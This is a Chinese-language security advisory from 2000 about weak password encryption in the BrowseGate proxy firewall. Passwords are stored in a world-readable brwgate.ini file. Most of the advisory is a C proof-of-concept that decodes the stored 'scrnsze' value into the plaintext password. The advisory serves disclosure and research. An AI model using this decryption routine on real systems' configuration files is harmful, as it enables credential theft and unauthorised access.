安全研究

安全漏洞
BrowseGate 弱口令加密机制缺陷

发布日期:2000-11-20
更新日期:2000-11-20

受影响系统:

    BrowseGate by NetCPlus 2.80.2 (others?)
       - Windows NT/2000/9x

描述:

BrowseGate是NetCPlus提供的一种代理防火墙软件,很多时候它与SS3等网络应用程
序一起集成安装,缺省安装在C:\Program Files\BrowseGate\,配置文件brwgate.ini
位于其中。默认所有本机授权用户均可读写这个配置文件,加密后的口令保存在
'scrnsze'条目中,比如:

scrnsze=Ic6li9m\

这里的口令加密机制太简单了,可以轻易解密得到口令明文,具体参看测试程序。

<* 来源:Steven Alexander (steve@cell2000.net) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


--------------------------------------------------------------------------
/* This is proof of concept code for decrypting password from BrowseGate by NetCplus */
#include <stdio.h>


int main() {

unsigned char start[8] = { 0x27, 0x41, 0x72, 0x4a, 0x47, 0x75, 0x4b, 0x3a };
unsigned char hash[8] = { '%', '}', 'S', 'p', '%', 'g', 'Z', '(' } ;
/* Enter the encrypted password into hash above */
unsigned char except[8] = { '~', ':', 'k', 'C', '@', 'n', 'D', '3' };
unsigned char ex_order[7] = { 't', 'm', 'O', 'L', 's', 'B', 'R' };
unsigned char pass[8];
unsigned char i;
unsigned char range;

if(hash[0] >= '!' && hash[0] <= '&')
hash[0]=(hash[0] - 0x20) + 0x7e;
for(i=0;i<8;i++) {
  if(hash[i] >= except[i] && hash[i] <= (except[i] + 6) ) {
   pass[i]=ex_order[ (hash[i] - except[i]) ]; }
  else {
   if(hash[i] < start[i]) {
    hash[i]+=0x5e;
    }
     pass[i]=hash[i] - start[i] + '!';

   if(pass[i] >= 'B')
   pass[i]+=1;
if(pass[i] >= 'L')
   pass[i]+=1;
if(pass[i] >= 'O')
   pass[i]+=1;
if(pass[i] >= 'R')
   pass[i]+=1;
if(pass[i] >= 'm')
   pass[i]+=1;
    if(pass[i] >= 's')
      pass[i]+=1;
if(pass[i] >= 't')
   pass[i]+=1;

  }
}

printf("The password is:\n\t");
for(i=0;i<8;i++) {
  printf("%c ", pass[i]);
}
printf("\n");
return 0;
}
--------------------------------------------------------------------------



建议:

    暂无

浏览次数:5644
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障